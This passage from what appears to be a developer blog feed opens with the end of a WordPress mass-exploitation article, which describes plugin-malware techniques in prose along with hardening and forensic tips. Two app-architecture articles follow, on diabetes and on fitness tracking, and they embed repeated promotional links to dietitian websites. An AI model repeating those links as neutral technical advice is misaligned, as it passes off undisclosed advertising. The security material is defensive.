Exploits known plugin CVEs.

Injects JavaScript to redirect visitors to scam sites.

Infects wp_options, wp_posts, and .js files.

Uses polymorphic code to avoid detection.

Supply Chain Risks Popular plugins get hijacked or sold to malicious actors.

Real Case: Display Widgets Plugin
Purchased by malicious actor.

New version included PHP backdoor.

Downloaded over 200k times before removal.

Lesson: Even trusted plugins can become threats.

Hardening WordPress 🔐 Key Defenses Disable XML-RPC unless required.

Limit file permissions: chown -R www-data:www-data, avoid 777.

Restrict wp-admin to IP whitelist or 2FA.

Use Application Passwords for API access.

Deploy read-only file systems with immutable flags where possible.

Plugins for Security
Wordfence

WPFail2Ban

Query Monitor

Forensic Tips Post-Intrusion Check for .php in /uploads/.

Inspect wp_options for suspicious serialized payloads.

Audit .htaccess, functions.php, and cron jobs.

Run diff -r wp-core/ production/ against clean install.

Final Thoughts
Mass exploitation of WordPress isn't going away. The CMS is too popular, and too many sites remain outdated or misconfigured. As developers and sysadmins, we must go beyond installing a WAF or a security plugin. Instead:

Track CVEs via WPScan or NVD.

Automate update testing with staging pipelines.

Implement least privilege access and continuous monitoring.

📚 References
WPScan Vulnerability Database

Exploit Database

WordPress Hardening Guide (Official)

OWASP Top 10

Building a Mobile App for Diabetes Management: Technical Architecture and Challenges

Jeremy Libeskind — Fri, 02 May 2025 06:16:27 +0000

Managing diabetes with mobile technology involves real-time data ingestion, predictive analytics, sensor integration, and strict data privacy compliance. Whether you're building for type 1 or type 2 diabetes, designing a health-grade app that supports glycemic control is technically complex.

In this article, we deep dive into the engineering of a mobile app for diabetes self-management — from CGM (Continuous Glucose Monitoring) integration to insulin tracking, food logging, and adaptive machine learning.

🏗️ Architecture Overview
A production-grade diabetes management app typically consists of:

Frontend (mobile):

Native (Swift/Kotlin) or cross-platform (Flutter/React Native)

Backend:

Node.js with NestJS or Django REST

PostgreSQL + TimescaleDB for time-series data

MQTT or WebSocket server for real-time sensor updates

APIs & Integrations:

Dexcom, LibreView, Glooko, HealthKit, Google Fit

Security:

Full GDPR and HIPAA compliance

Encrypted health records and cloud backups

🔬 CGM Data Ingestion and Management
Supported Devices
Apps should support APIs from:

Dexcom G6/G7 (OAuth2 auth, real-time glucose via Web API)

FreeStyle Libre (LibreView API, RESTful endpoints)

Apple HealthKit (HKQuantityTypeIdentifierBloodGlucose)

Bluetooth LE Glucometers via CoreBluetooth or Android BLE

Real-Time Sync
Real-time glucose values (every 5 minutes):

Use WebSockets or MQTT with QoS 1 for reliable message delivery

Handle dropped connections, exponential backoff

Store last n readings in Redis cache for fast access

ts
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// WebSocket event (Node.js)
ws.on('glucoseReading', (payload) => {
const { value, timestamp } = JSON.parse(payload);
db.insert('glucose_readings', { userId, value, timestamp });
});
🍽️ Smart Carbohydrate Tracking
For people with diabetes, accurate carb counting is critical.

Techniques:
OCR for food labels (using Tesseract.js)

Barcode scanning with OpenFoodFacts or USDA API

Auto-tagging meals with AI (custom-trained CNN or Vision API)

Carb Estimation Model:
Use a nutritional composition API + portion estimator:

python
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def estimate_carbs(food_id, weight_g):
food = get_nutritional_data(food_id)
return food['carbs_per_100g'] * weight_g / 100
💉 Insulin & Medication Tracking
Support logging of:

Rapid-acting, long-acting insulin

Oral medications (e.g. Metformin)

Dosing schedules, basal/bolus distinction

Use calendar-style reminders (via expo-notifications or native schedulers) and secure dosage logging:

sql
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CREATE TABLE insulin_logs (
id SERIAL PRIMARY KEY,
user_id UUID REFERENCES users,
units DECIMAL,
insulin_type TEXT,
timestamp TIMESTAMPTZ DEFAULT now()
);
📊 Glucose Prediction with ML
Build predictive models using time-series data:

Input features: glucose trend, insulin dose, last meal, activity

Models: XGBoost, LSTM, Temporal Fusion Transformer (TFT)

Train model per user with federated learning or on-device Core ML / TensorFlow Lite.

python
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model = LSTM(input_size=4, hidden_size=64)
output = model.predict([glucose, insulin, carbs, time_since_meal])
🛡️ Data Privacy & Security
Diabetes data is sensitive medical information.

Must-Have Protections:
AES-256 encryption at rest

TLS 1.3 for all data in transit

Audit logs for all health data access

JWT with short-lived refresh tokens

Consent management UI

Ensure full compliance with:

GDPR

HIPAA

ISO/IEC 27001

📱 Offline-first Capabilities
Diabetes patients may need logging without a connection:

Use SQLite or WatermelonDB for offline storage

Implement background sync queue (e.g., redux-offline, WorkManager)

When syncing:

De-duplicate using timestamps or version fields

Encrypt payloads even over HTTPS

📈 UX Considerations
Diabetes apps should:

Plot glucose curves (MPAndroidChart, Victory, D3.js)

Display hypo/hyperglycemia alerts with haptics

Adapt UI contrast for visual impairments

Provide day-by-day “glycemic load” summaries

Consider integrating professional dietary support like https://www.dieteticiennenancy.fr/ to enhance food-related guidance based on individual profiles.

🔗 External Integrations
Apple Watch and Wear OS for quick logging

Strava API to correlate physical activity with glucose

Twilio for SMS-based emergency alerts

Firebase for real-time event streams and push notifications

🧪 Testing & Monitoring
Test what matters:
BLE device connection integrity

Glucose data accuracy with sensor APIs

Sync conflicts (e.g. insulin log entered on multiple devices)

Localization (units: mmol/L vs mg/dL)

Tools:
Detox or Appium for UI automation

Firebase Test Lab for device farms

Sentry or BugSnag for runtime errors

📍Conclusion
A diabetes management app is one of the most technically demanding health apps to build. From real-time CGM integration to food intelligence and predictive insulin modeling, the stack spans sensors, machine learning, time-series DBs, and strict compliance standards.

By coupling technical robustness with expert-backed support — such as that offered by professionals like https://www.dieteticiennenancy.fr/ — developers can deliver not only features, but clinical-grade reliability that truly supports diabetic patients.

Building Fitness & Nutrition Tracking Apps: A Technical Deep Dive

Jeremy Libeskind — Fri, 02 May 2025 06:13:53 +0000

Creating a mobile app that combines sport activity tracking and nutritional monitoring is a serious technical challenge. These apps go far beyond counting steps or logging meals—they must integrate health APIs, manage large volumes of biometric data, provide personalized insights, and ensure security and compliance.

In this article, we explore the technical foundations needed to develop such apps: architecture, algorithms, APIs, data privacy, and more.

🧱 Core Architecture
A scalable and maintainable fitness/nutrition app typically involves the following components:

Tech Stack:
Frontend (Mobile):

Native: Swift (iOS), Kotlin (Android)

Cross-platform: Flutter, React Native (with TypeScript)

Backend:

Node.js with Express or Django REST framework

PostgreSQL (with TimescaleDB for time-series data)

Redis for activity caching

Deployment:

Docker, Kubernetes, CI/CD with GitHub Actions

Hosting: AWS, GCP, or Azure

🏋️‍♂️ Activity Tracking
Sensor Integration
Use mobile sensors + wearables (e.g. smartwatches) to track:

Steps, distance, and pace

Heart rate and zones

Workout sessions (sets, reps, rest times)

API Options:
Apple HealthKit (HKWorkout, HKQuantityType)

Google Fit SDK (SensorsClient, RecordingClient)

Garmin / Fitbit APIs (requires OAuth2 and developer partnership)

kotlin
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val fitnessOptions = FitnessOptions.builder()
.addDataType(DataType.TYPE_STEP_COUNT_DELTA, FitnessOptions.ACCESS_READ)
.addDataType(DataType.TYPE_HEART_RATE_BPM, FitnessOptions.ACCESS_READ)
.build()
Real-time Sync
Use background services (Android WorkManager, iOS BackgroundTasks) to sync metrics every few minutes, respecting battery constraints and data quotas.

🥗 Nutrition Logging and Food Intelligence
Barcode and OCR Scanning
Allow food input via:

Barcode (OpenFoodFacts, USDA API)

OCR from meal receipts or food packaging (Tesseract OCR + preprocessing)

Caloric and Macronutrient Breakdown
Use backend logic to calculate:

Calories

Macronutrients (carbs, fats, proteins)

Glycemic index (if data available)

Combine with user profiles (weight, height, age, TDEE) to create smart suggestions.

Sample Food Logging Flow:
js
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// Pseudocode: Logging a meal
const meal = {
name: "Grilled Chicken & Rice",
calories: 550,
protein: 40,
carbs: 35,
fats: 20
}
await fetch('/api/logMeal', {
method: 'POST',
body: JSON.stringify(meal),
headers: { 'Authorization': Bearer ${userToken} }
});
For expert-backed meal plans, integration with professional dietitians such as https://www.dieteticiennes-montpellier.fr/ provides valuable, curated recommendations that go beyond automated suggestions.

🧠 Smart Algorithms & Personalization
Leverage machine learning to offer:

Adaptive training programs based on fatigue and performance

Meal suggestions based on nutrient gaps

Hydration reminders based on activity and temperature

Suggested tools:
Scikit-learn or XGBoost for training recommendation models

On-device ML with Core ML (iOS) or TensorFlow Lite (Android)

Federated Learning for privacy-preserving personalization

📈 UI/UX for Progress & Motivation
Features:
Charts (line, bar) for weekly/monthly views

Dynamic goals (auto-adjusted based on past performance)

Gamified progress (badges, streaks, leveling)

Libraries:

React Native: Victory, react-native-svg-charts

Native iOS: Charts

Android: MPAndroidChart

Add push notifications via Firebase Cloud Messaging or OneSignal for engagement.

🔒 Data Security & Compliance
Any app handling fitness and dietary data must be:

GDPR compliant (data deletion, user consent, privacy policy)

HIPAA compliant in the U.S. (especially if integrating professional medical support)

End-to-end encrypted, especially for personal data and health logs

Use:

HTTPS with TLS 1.3

At-rest encryption (e.g., SQLCipher, encrypted Realm DB)

JWTs for secure auth

Encrypted backups on S3 or Google Cloud Storage

📶 Offline Mode & Sync
Support local entry of workouts and meals:

Queue requests offline (e.g., Redux Offline, WorkManager)

Sync on reconnection

Handle conflicts with versioning timestamps or ETags

🧪 Testing and QA
Critical areas for testing:

Data sync integrity across devices

Health API edge cases (e.g., denied permissions)

Localization (dates, units, labels)

Tools:

Unit tests (Jest, Mocha, XCTest)

Detox (React Native) for E2E testing

Firebase Test Lab for multi-device CI

🧩 Future-Ready Additions
Integrations:
Chatbots with GPT-4 for nutrition questions

Community features (forums, leaderboards)

B2B APIs for gyms, coaches, or nutritionists

Conclusion
Fitness and nutrition tracking apps are among the most complex to engineer. They combine real-time sensor input, large-scale time-series data, AI-based suggestions, and highly sensitive personal information.

Beyond tech, partnering with real-world dietitians and sports professionals — such as https://www.dieteticiennes-montpellier.fr/ — can enhance credibility, data accuracy, and user retention.

If you're building one, don't just think features — think reliability, privacy, and adaptability. That's what keeps users coming back.